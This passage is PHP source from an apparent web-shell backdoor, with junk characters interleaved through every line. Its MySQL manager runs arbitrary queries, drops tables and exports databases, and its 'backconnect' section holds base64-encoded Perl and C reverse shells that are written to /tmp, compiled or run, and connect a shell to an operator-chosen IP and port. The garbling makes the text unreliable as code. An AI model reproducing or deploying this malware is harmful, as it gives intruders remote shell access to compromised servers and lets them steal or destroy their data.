% Y# z$ o# L$ R: K7 v - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
2 b! r1 b7 J9 \, Z5 }4 d# @ - m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
- k2 \, k% F' ]& b/ \" D/ s - }0 V' v9 `9 ]4 O, k W% f% i9 L
- * @5 |6 Q1 B$ ?6 U0 | U7 C0 E
- if ($tablename && $doing == 'drop') {
& n: G/ E( e( b) M/ N. f - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
; D! d0 g6 Q$ L9 M! @$ |7 S, Z - if (q("DROP TABLE $tablename")) {1 Q7 z+ T$ E8 r! Q. ?& B
- m('Drop table of success');
( c7 \& ]. q. R8 r+ R" L - $tablename = '';
" n$ c7 c2 P& G# l1 h1 O5 C! l - } else {2 w2 {+ {, z" B$ F8 e4 g* E! [* r
- m(mysql_error());: `9 T3 }* M# F+ S+ O
- }
) f4 `3 Z# g2 c4 A) c9 p - }
* E6 k( F* Q& U! t( j0 f; k" {8 F -
; _; }* L( \2 u; q1 Z/ s2 u - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');- k- k5 e" P* e* V8 C
- 3 |) p/ E. r& Y% H
- formhead(array('title'=>'MYSQL Manager'));7 C: g: k0 C+ @: }
- makehide('action','sqladmin');) N+ H3 N% _* z/ a" g s
- p('<p>');; o8 O* E: C4 |3 D
- p('DBHost:');/ p, _ I. R, |; `9 E2 s
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));9 `" ^ Y# ?9 }
- p(':');2 G8 v/ L/ Q0 P0 R, d+ Q o- z& g. c+ X
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
! y9 e+ @$ ^, `7 z' I# L4 L - p('DBUser:');
" H8 u+ k& t: n* i* p4 u( I& l - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
. ^2 l+ Q& U; W' F* S# o6 V/ c1 W - p('DBPass:');
: ?5 R5 y0 u$ a - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
! n& X, |- d) z5 R0 e( N - p('DBCharset:');6 e2 G0 Y$ r4 N, h! N% |$ s! n
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
" x( m7 z$ I t" f - makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));8 _1 z1 @6 q6 L% n; Y5 c6 h
- p('</p>');) M; D, O) p6 t
- formfoot();, v6 d/ d) V. v
- ?>( m" H! E0 d# K' a
- <script type="text/javascript">8 `3 q6 @! Z) d, \4 B' E' c* H1 a& k
- function editrecord(action, base64, tablename){
) R7 k2 j- K+ _3 O - if (action == 'del') { 6 r0 M% t: z! V- m/ K& T; [9 n- b
- if (!confirm('Is or isn\'t deletion record?')) return;
+ w& z% Y6 h0 x2 ?/ Z - }
( }% B; \* v( q! P. t/ I - $('recordlist').doing.value=action;) H8 j q+ S6 D+ r0 @/ d
- $('recordlist').base64.value=base64;
1 v }8 V$ P9 u* I - $('recordlist').tablename.value=tablename;
, _0 d4 j/ n. G" M& ~ - $('recordlist').submit();8 m) P6 k0 \: F
- }
+ c( M9 K# I+ b' B; j3 h( {/ B( v - function moddbname(dbname) {
$ ? H6 z8 ~1 M5 ] - if(!dbname) return;
: W( m4 e0 v# M2 V - $('setdbname').dbname.value=dbname;
5 Y' N3 f% Q# \* k# j4 y4 x - $('setdbname').submit();
+ W; M ^3 i& p `8 { - }/ _0 k/ I$ \+ i
- function settable(tablename,doing,page) {
7 M$ ]. a9 M q6 L( l% C - if(!tablename) return;: S$ y/ D6 {! F0 Y
- if (doing) {* @$ | A* v& K0 `3 l& \* P# W: q
- $('settable').doing.value=doing;! ?0 U9 L, O4 w3 `$ B. O1 B1 V
- }* ?* j1 s$ i1 v; X! u
- if (page) {0 T4 y. O% ^) M
- $('settable').page.value=page;
1 U3 V5 i; S! r0 f/ R5 O - }$ E$ k5 Y* n1 X: n
- $('settable').tablename.value=tablename;
4 Q( Y/ V8 m: w3 E: P" p - $('settable').submit();
' p L$ c3 Q9 R+ ^ - }
( m8 X) ]2 O3 b! Z$ q! J. b - </script>
$ ]# U' f( z3 k/ m% ~* r - <?php2 f0 k. w Y- g1 n% G/ {0 D
- //操作记录
$ g- b8 R- T5 ~4 z7 r - formhead(array('name'=>'recordlist'));
7 M& V1 u. {) I3 k8 I: m - makehide('doing');
6 o2 ?/ H) C9 E - makehide('action','sqladmin');
8 _+ H/ Z: X s1 a8 O - makehide('base64');
6 T# P" [1 I2 R1 B% q+ P - makehide('tablename');7 H7 U3 C! v s& a3 K p
- p($dbform);
- u# e& R6 T3 R- y* q - formfoot();
- r, [8 F, K% h: ] - //选定数据库. Q1 }# C! s2 D7 b% r5 _9 I
- formhead(array('name'=>'setdbname'));
- u ^ \8 | f# r# c+ f - makehide('action','sqladmin');
$ R- l/ V4 I' I3 J6 A - p($dbform);5 I. E# _- _- m9 Y" U
- if (!$dbname) {
9 F V7 `7 P& s8 K - makehide('dbname');
+ t1 ~+ y& h# L8 g - }4 A7 K6 N+ l% ?5 s& j0 K: A
- formfoot();9 _3 S& @5 O& v
- //选定表( m4 I1 |1 s0 X( G3 Z( Y
- formhead(array('name'=>'settable'));
, [0 Y% d# S' h7 q" Z - makehide('action','sqladmin');
% `) q4 w/ {6 j' j& T: F7 Y, X - p($dbform);) M3 V8 u `& d7 f# T
- makehide('tablename');
; I8 c3 t6 _8 L7 o! S, y. \# E - makehide('page',$page);; |7 H4 \8 p/ Q) N7 f, n1 Y
- makehide('doing');7 G- _" B7 m# F# F' Y, v! J6 \
- formfoot();# V* E3 q. o" T V+ A" M& t5 i5 i
- $cachetables = array();
" s# s' W U; Z0 }3 r; e - $pagenum = 30;+ Z: ~9 q8 Z3 i4 |' ^
- $page = intval($page);
- A4 P4 s4 s7 n, y0 v( i - if($page) {! @) Y6 O2 r% B: g( ]' P
- $start_limit = ($page - 1) * $pagenum;$ ~2 j* q2 j, D, x& d
- } else {% R+ a2 u7 Y d: v( _8 @$ S4 r7 l. r& r
- $start_limit = 0;& n J5 r! E" P& @: n+ h1 `; e# P6 E1 P$ d
- $page = 1;$ \- ~% ?" C7 t
- }
$ D' S$ f& N, t% S9 I9 { - if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {2 g0 y2 |6 w. Z/ n' e2 k( d' L4 J
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);* f9 f0 \& L i
- //获取数据库信息
2 _! {6 Z3 O, g4 D4 c - $mysqlver = mysql_get_server_info();
6 m7 {$ z, s* v2 t$ I - p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
* X/ i- I' [! a" M/ X5 w6 { - $highver = $mysqlver > '4.1' ? 1 : 0;
! _) s/ ]" _5 Y) d# v# i - //获取数据库
' v7 |) e* E. S# I% ? - $query = q("SHOW DATABASES");/ K8 G# o0 V6 U c. U& e! _
- $dbs = array();
* M a% k5 Z6 \ - $dbs[] = '-- Select a database --';
, u6 D3 ^1 l, }$ }: z4 P# C - while($db = mysql_fetch_array($query)) {% e0 W9 M- ^4 }3 Z6 o. T, r
- $dbs[$db['Database']] = $db['Database'];/ N) h/ R+ ?8 e4 P$ `( R
- }$ x' Y6 O; Q/ K% d' y
- makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));# I' [2 g/ ]4 j% f/ x
- $tabledb = array();) S: B' n9 G( L# y& w* I
- if ($dbname) {
( Y/ Q2 ?: F* j. ~7 C$ C2 ?# D - p('<p>');
" N1 O8 K3 F5 p5 U! h0 K - p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');3 Z( b4 y) k( h8 j5 c' k* i
- if ($tablename) {
+ P2 V& j. f) t [, i% m - p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');& F: D, x7 F, Y
- }0 F" Y. u$ ~% x& `
- p('</p>');" i K' n& R- E: o, M
- mysql_select_db($dbname);) Z9 D( w7 H. r' i" t Y; }
- $getnumsql = '';+ g- A0 o) Y+ T. d7 ~" B! F8 [
- $runquery = 0;6 c! { a7 f5 y8 M) N% O3 W" J
- if ($sql_query) {
* n0 d! @- ~/ j( }( e: ?: _5 | - $runquery = 1;
3 t) ?2 a5 j4 {& y7 L - }
% r* M# [' c% { - $allowedit = 0;
& u3 _, d2 o& | v/ f. D6 n - if ($tablename && !$sql_query) {) n3 e' V( i! t+ H- ~
- $sql_query = "SELECT * FROM $tablename";
: ~7 R; S# a8 _* M' x - $getnumsql = $sql_query;& n' Q. k, K7 a8 a: b
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
# u9 I0 S; |* @5 v/ H - $allowedit = 1;) T1 e8 a% ?/ M) c( `" j/ `6 z
- }
" _5 C8 _- W6 C& s# I+ r0 U - p('<form action="'.$self.'" method="POST">');
( V! S! \8 M. ~; u* \7 _% f - p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1 ^+ X. J" k. }/ ] - makehide('tablename', $tablename);
+ z$ t* d( {! p2 m' s2 ] - makehide('action','sqladmin');( b- n( y# T2 R5 Z
- p($dbform);
1 P& N- Q3 ]8 l) u% v+ [( Q/ y. r - p('</form>');- h9 Y9 O" a8 T' _
- if ($tablename || ($runquery && $sql_query)) {
/ p( e! L9 E) ]) | - if ($doing == 'structure') {
6 |4 r8 S& C4 q$ {8 K - $result = q("SHOW COLUMNS FROM $tablename");* Q, v" W6 m+ z* S. l: a! u1 v1 F
- $rowdb = array();% V2 L0 m- c) _( w
- while($row = mysql_fetch_array($result)) {
+ z2 p: h9 n% T2 d( z - $rowdb[] = $row;0 p) O/ I1 R) c3 ~
- }
$ u% d3 c, o' e8 s5 \ - p('<table border="0" cellpadding="3" cellspacing="0">');- m4 [2 q1 c& O) Y, S
- p('<tr class="head">');1 G9 d0 Y7 W9 `1 U
- p('<td>Field</td>');4 E3 U0 f9 f, a) m
- p('<td>Type</td>');
4 E3 a$ N t- J5 p3 Z - p('<td>Null</td>');
% l; |1 r: S, J - p('<td>Key</td>');
F0 h7 G8 s; t: h ?- z8 ] - p('<td>Default</td>');2 \/ L5 k' q7 \1 A7 T3 h' g
- p('<td>Extra</td>');/ ^6 k, ^ g( @
- p('</tr>');% f' U) H B- p/ s) k# J1 n, |6 w
- foreach ($rowdb as $row) {/ B4 `* J7 A! W, b
- $thisbg = bg(); l( w) ?) q( ^" L' W) O
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
. k# v+ b1 z- j) U - p('<td>'.$row['Field'].'</td>');. U, S' p/ R3 e/ O# J
- p('<td>'.$row['Type'].'</td>');
7 x: L0 w+ N/ n! m8 G1 y% X5 g - p('<td>'.$row['Null'].' </td>');
& [5 |+ Q! y. x X+ H" L0 m4 X3 u - p('<td>'.$row['Key'].' </td>');
1 A' y# p; b2 {8 d' F - p('<td>'.$row['Default'].' </td>');
- b1 A0 C2 L1 A - p('<td>'.$row['Extra'].' </td>');- S! G. @' |+ a& i
- p('</tr>');+ _$ c+ d- Z$ m% k0 ?1 f
- }
" a: }/ Y! a1 l/ ?4 m' F, I4 p- T, C - tbfoot();' p+ d2 m' d) v6 W' I, c3 B8 ^- b
- } elseif ($doing == 'insert' || $doing == 'edit') {! j7 f- e2 F" c& r+ S1 V0 \
- $result = q('SHOW COLUMNS FROM '.$tablename);
$ m2 i9 Q- W; S4 a- W3 g - while ($row = mysql_fetch_array($result)) {
3 }; c) r- m, F- Y+ c6 F2 q( j - $rowdb[] = $row;
2 B! M3 w! W+ Z; c. k% d/ J- g& ]4 B - }5 W1 h( c& r/ v C4 E7 ~) f0 n& t
- $rs = array(); \8 q i! _1 ^
- if ($doing == 'insert') {" g; U2 }8 L5 {
- p('<h2>Insert new line in '.$tablename.' table »</h2>');
) @) y( Y, n! _/ n' O+ m - } else {
o }; p& G. C$ I* { - p('<h2>Update record in '.$tablename.' table »</h2>');
1 A2 \' U& p& `5 q6 [- v0 D- @ - $where = base64_decode($base64);- X( Y( W) J8 d& m/ h8 S
- $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");9 y5 a' T8 M e& A# ^4 C5 v, F
- $rs = mysql_fetch_array($result);
3 i6 b$ u, Q( M& O0 K - }
, a5 r: y0 S5 U9 U8 R, d - p('<form method="post" action="'.$self.'">');! S1 r' e' ^# _
- p($dbform);1 C" p% O# [. }
- makehide('action','sqladmin');* R9 K7 B+ ^; q( h
- makehide('tablename',$tablename);" B/ U, r2 V. t8 n" Z, z
- p('<table border="0" cellpadding="3" cellspacing="0">');
+ S/ x( U' Y! U. L6 L% v4 Q$ \ - foreach ($rowdb as $row) {' v, @, }& @+ `% R( B/ O
- if ($rs[$row['Field']]) {2 X5 i' i- f5 _: P* h
- $value = htmlspecialchars($rs[$row['Field']]);0 D0 q, X' m* c9 a+ V" ~( O) f
- } else {% J9 W5 g: ^0 ^5 K1 [1 k9 ~
- $value = '';. \) H9 `3 h$ T5 D) p3 E
- } Y2 N; {0 ~# X, m
- $thisbg = bg();; A3 w5 V7 H! V) U% ~( K
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');; X0 J; M2 y& s" v8 e/ M. G. F
- p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
+ S5 M; r0 k- x! Y# p! I( f' i9 i - }
" c2 U& ~+ R o; S; {" X& S# K3 R - if ($doing == 'insert') {
4 G/ q4 `5 e2 S. t n/ A4 A - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');6 B6 ~# }: V, x3 Y9 Y
- } else {' _" F6 m3 W) T. ?' ]
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');$ i6 O. w+ U9 y% Q1 E9 v3 M2 X
- makehide('base64', $base64);8 X/ i' x; y6 `& B" o1 ]9 c
- }5 Z2 j4 p8 n$ v0 ], P- l
- p('</table></form>');8 i- Z0 [: Y I$ V1 C* ?
- } else {
% W, ~; h# ?6 E4 g A) ^$ a; o - $querys = @explode(';',$sql_query); C' D5 Z3 \% L3 h4 r
- foreach($querys as $num=>$query) {
/ n, x; m- W1 B - if ($query) {
& k: O4 j, u& w, i4 ^* L# g - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");0 r3 _# g( I* i% t: ]: [5 |
- switch(qy($query))
9 n( c/ g, {. u: G - {( H, r7 R) J' W: u$ t% p
- case 0:
% A; F) B2 ?* b - p('<h2>Error : '.mysql_error().'</h2>');2 U6 S8 b8 V6 a/ K
- break; ! F. N9 J# P% V5 ?) S) m
- case 1:0 D7 M% N: z- n. d9 z8 ]
- if (strtolower(substr($query,0,13)) == 'select * from') {$ c7 z7 z6 r* }7 A0 `' G$ K' I4 p
- $allowedit = 1;
6 r/ f- q+ w/ { ^" x- q* K - }
7 c) H9 ?1 }; D9 A+ l - if ($getnumsql) {3 n3 t. e K& Z4 [& _
- $tatol = mysql_num_rows(q($getnumsql));
+ K+ R+ x: b$ v# [! {/ s. _! w& n* ~8 @ - $multipage = multi($tatol, $pagenum, $page, $tablename);& u+ K# ^0 P {+ G
- }0 _0 I O6 T- T5 A3 g
- if (!$tablename) {
! I& z/ |7 Z: h4 \2 _$ p+ \4 g/ L - $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
- x9 n5 o- w; Q" J - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);2 o) E7 x' I/ C% g0 |7 _- C
- preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);7 H' q" S6 l* R8 Q* r
- $tablename = $matches[1][0];
7 m& h& t3 o& v* e# d2 J" F6 F - }; O3 U% p7 k0 e. ^
- $result = q($query);5 f7 d, |" \# j
- p($multipage);4 t" L3 h0 P9 T' m, w; y& d; d
- p('<table border="0" cellpadding="3" cellspacing="0">');; A) R8 w+ @2 ?# N+ i
- p('<tr class="head">');( D0 \6 `$ s1 {
- if ($allowedit) p('<td>Action</td>');
0 A/ \( H/ e6 d* @0 N6 S6 R- _( y - $fieldnum = @mysql_num_fields($result);
( p$ O8 @, _. \+ p - for($i=0;$i<$fieldnum;$i++){
* `1 f9 B( h! I1 G7 a9 j. W) [+ j - $name = @mysql_field_name($result, $i);
% |8 L* V6 Q/ Z; [ - $type = @mysql_field_type($result, $i);
) W% x' o9 m; _5 J1 z! _/ {5 L% x - $len = @mysql_field_len($result, $i);
) \; p/ }6 T: U5 Y. X) r6 n6 R" z - p("<td nowrap>$name<br><span>$type($len)</span></td>");) X4 v6 D1 `2 J7 L) r
- }
. [( S8 d1 ~* ]* f- B7 u - p('</tr>');
0 Z; _/ F5 Q2 t - while($mn = @mysql_fetch_assoc($result)){- j4 [. _# N4 \- I7 i, V7 }
- $thisbg = bg();- ]9 r7 g3 N$ u2 I, P; j6 Z0 S
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
' ^, v4 S% J2 O7 N& i! K4 t2 a# W - $where = $tmp = $b1 = '';* x3 P! E$ W: e
- foreach($mn as $key=>$inside){7 m' }# S# t6 `% @$ R1 Q& u
- if ($inside) {) {5 s- f" f5 L& ~) O
- $where .= $tmp.$key."='".addslashes($inside)."'";
! U _8 D* i$ | - $tmp = ' AND ';- j8 e/ h3 G; j" _5 Q9 }; z
- }) _: _) ]* k& f+ N
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';6 C# ?9 L8 k: e7 O" O
- }( y8 ]7 i) t+ g; S* h
- $where = base64_encode($where);& j& ~/ Q, X' ]
- if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
8 T) [( T4 q$ ]( D - p($b1);( Z/ j, x( g0 T7 M M
- p('</tr>');4 m! R% d7 ~. u/ t7 A
- unset($b1);0 L9 t1 ?" S% m5 F; X1 w! r
- }: z# M6 m' S$ W2 E3 [3 H
- tbfoot();% `6 h8 O7 o1 L6 f; P& v5 S' @$ ?$ V
- p($multipage);
- C: H4 ~! O+ ~! X( U+ M& \ - break;
/ z5 l) n2 R0 x) q6 d - case 2:
7 t' m4 E0 @4 s0 t4 f2 r: K: u3 D$ c. l - $ar = mysql_affected_rows();
- N: l! G9 w6 W' _4 G \+ A/ P0 } - p('<h2>affected rows : <b>'.$ar.'</b></h2>');' w1 S1 g0 r( b2 `; y+ {3 y$ k
- break;
3 x9 _3 O# V ?' K# M - }$ M9 k! L* H) N, Y
- }
! z) p! K) r* X: r - }
: O5 t/ `% G# F" |/ u1 ] - }6 T/ T2 I, m9 U6 a/ J
- } else {7 `/ G5 B7 d4 G; v/ Z2 T* o
- $query = q("SHOW TABLE STATUS");- m/ f; b! |% h2 z' T" x9 G
- $table_num = $table_rows = $data_size = 0;: }% K% }& H% b% ~8 h( }
- $tabledb = array();
; K; U( k5 o/ S6 \* T; u, o - while($table = mysql_fetch_array($query)) {( e! ]2 p6 w0 q/ I
- $data_size = $data_size + $table['Data_length'];/ [5 n5 {+ Z9 E
- $table_rows = $table_rows + $table['Rows'];
8 C2 [- G, }; g, v/ @/ B- y - $table['Data_length'] = sizecount($table['Data_length']);
- h) I; {) X. O2 ]/ b - $table_num++;6 {, f/ r; D, {" @- }" z* _
- $tabledb[] = $table;+ Z0 c" F( E* @/ b H! E3 y' U
- }
9 J' b, k2 l0 M" u - $data_size = sizecount($data_size);
' v& g. Z5 A- b) a - unset($table);9 w% V& V% m6 W( Y
- p('<table border="0" cellpadding="0" cellspacing="0">');4 \9 j3 X" J+ x" `/ O) H$ Q& B
- p('<form action="'.$self.'" method="POST">');. V9 I4 a3 F" s9 |) w
- makehide('action','sqladmin');
0 v( _0 v8 ?$ z& o: K; E - p($dbform);1 a# ~$ @% @7 E, e ] K! S
- p('<tr class="head">');
/ @1 t& w& e0 ~ - p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
) R. M2 o9 k2 K" H" Y: J - p('<td>Name</td>');
- L, s+ {0 a. ]2 L9 S* B1 U5 G - p('<td>Rows</td>');
* N F. t: O3 X) o4 V4 Q- P - p('<td>Data_length</td>');
# i$ ^% u# M* `, k4 ^# L - p('<td>Create_time</td>');
8 r# R9 N6 q0 c - p('<td>Update_time</td>'); C6 ?0 K, N3 D' a7 U- X# C7 Y
- if ($highver) {& Z0 T$ ~) E% [" W& N+ r4 a
- p('<td>Engine</td>');- e* g+ |2 h2 L" l2 E) G. c( S$ ]
- p('<td>Collation</td>');
. U4 R0 ?* |) G0 U - }% n1 v6 p R6 P2 N4 t/ s
- p('</tr>');
* f" L7 K Z8 s) E! U - foreach ($tabledb as $key => $table) {! P0 q. J2 Z/ h0 x% ^
- $thisbg = bg();+ H9 X8 D# _- R$ Y; l0 w# H
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');5 C/ u7 K( x1 W( p
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
! {5 d$ P1 q1 ]; j- [1 P6 _ - p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
% a4 H/ Y4 V4 \2 c3 f2 ^& w- Q+ i: m - p('<td>'.$table['Rows'].'</td>');
2 q: u/ G% v; e& j - p('<td>'.$table['Data_length'].'</td>');$ O, j) Y% p* O1 M( o
- p('<td>'.$table['Create_time'].'</td>');
2 r! @ `7 K' a2 f% Z& Y - p('<td>'.$table['Update_time'].'</td>');3 X2 Y8 z- I, i3 d
- if ($highver) {0 \' R) _1 E" n
- p('<td>'.$table['Engine'].'</td>');
! p5 R0 y4 M9 j# j, E - p('<td>'.$table['Collation'].'</td>');
( q$ q5 L5 P( a# D' e( d9 ]/ C. } - }
w& a6 ^1 T; y! g4 ^' b* A/ E2 |& \ - p('</tr>');$ j! U8 [8 E( u$ v: [
- }
& R( l5 i7 k6 M' d; Y& z - p('<tr class='.bg().'>');
* B: @2 o; B/ Y+ B+ b) ~ - p('<td> </td>');
, |! ~0 O B5 a2 P4 K - p('<td>Total tables: '.$table_num.'</td>');
) c. l' a$ G" I4 O - p('<td>'.$table_rows.'</td>');
1 A: z5 O. r7 H) b3 T& ^- X# J - p('<td>'.$data_size.'</td>');; \$ b" r0 P- N0 d
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
) X# k7 E6 A4 p, ?4 O$ Q" t - p('</tr>');# i, F) V6 u' h% R
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");6 p; c C8 ^& f+ ?3 \% e
- makehide('doing','backupmysql');
6 \. O; ~. R8 z; N; X+ _# c& z7 Z - formfoot();
5 w% n2 [' i" [4 F - p("</table>");1 H" }, L9 H3 {8 ~9 q r$ [
- fr($query);
R' S; S$ L" ~: G - }8 j' J( i$ r4 R( t5 G
- } U9 g, s6 [% |. l: s
- }
@( x8 g; n. o - tbfoot();; i. s7 P, N, X; Y+ C v: i. R
- @mysql_close();4 ?+ w. Q% H0 {# q) ^) D! _
- }//end sql backup$ `1 z( @0 `8 e7 w
- elseif ($action == 'backconnect') {& A1 P" X! d% C' W/ L4 L) a4 d
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];% e1 ~, x2 b1 F% G8 U/ R0 n. X: Y
- !$yourport && $yourport = '12345';
) b! [1 A) x$ w+ g k5 Q - $usedb = array('perl'=>'perl','c'=>'c');
7 G; r7 E/ ^: V# \/ Y( m+ `! o - $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
" B& K! A4 T" o0 Z9 q* @% T - "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
9 o8 W6 o$ U, O5 J" h! } - "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".- z6 t) ]/ E; f1 q( C/ [* t
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
; B0 L! b' `- Q1 H) d* [5 y - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
- X6 _. {7 d5 D, S - "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
( ?, v! {% o" p) U; X - "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";5 T2 l- H" E; m! { M' }2 z% R+ e8 J
- $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".$ \: A! Z0 n- h- b# l* J! O
- "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
+ q/ e6 j6 V9 S$ h5 t$ x8 [ - "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".- p8 T, { `6 n* p& U6 J' J
- "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
z/ ?# c. ]2 @! {4 X - "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC"./ [8 ^ i F5 {; s& |: e: u
- "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".# I& d2 G; U9 ?6 e. d
- "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".- u o* M7 ]9 J# t
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
! [ X" O& B/ }; y* f. V: l7 f9 A( e - if ($start && $yourip && $yourport && $use){6 _( J! Q2 P" Z* Q4 e9 Z0 J% r
- if ($use == 'perl') {
$ M9 ?% F, g% l- W% P# j- k c% d! W - cf('/tmp/angel_bc',$back_connect);3 n V: ]8 X: v. }; S! `" {; ^
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
5 J/ S/ G) E0 c$ k9 ~" \ - } else {2 R7 u( t" F* I! D* w9 k
- cf('/tmp/angel_bc.c',$back_connect_c);: w% O: A( a4 g2 x
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
+ O. [) {" F% L$ W4 ^# H- J - @unlink('/tmp/angel_bc.c');1 r0 Y Q0 N" v: k+ n
